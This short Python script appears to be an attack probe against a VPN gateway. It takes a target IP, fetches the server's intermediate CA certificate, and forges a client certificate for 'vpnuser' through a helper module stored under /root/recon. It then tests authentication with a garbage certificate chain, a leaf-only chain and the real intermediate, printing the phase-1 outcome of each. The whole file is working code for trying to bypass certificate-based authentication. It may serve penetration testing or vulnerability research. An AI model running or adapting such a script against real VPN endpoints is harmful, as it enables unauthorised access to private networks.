import os, sys
sys.path.insert(0, "/root/recon")
import cp_oracle as co

ip = sys.argv[1]
ders, org = co.get_ica(ip)
ica = ders[1]
subj = co.x509.load_der_x509_certificate(ica).subject


def run(label, chain_override):
    f = co.forge("vpnuser", ica, org, subj, [ica])
    if chain_override is not None:
        f.chain_ders = chain_override
    s = co.Session(ip, "vpnuser")
    r = s.run(f, with_hash=False)
    s.close()
    txt = [n[2:] for n in r["notes"] if n.startswith("t:")]
    print(label, r["phase1"], "|", " | ".join(txt)[:260], flush=True)


run("leaf+garbage-cert ", [os.urandom(700)])
run("leaf-only         ", [])
run("leaf+real-ica     ", [ica])
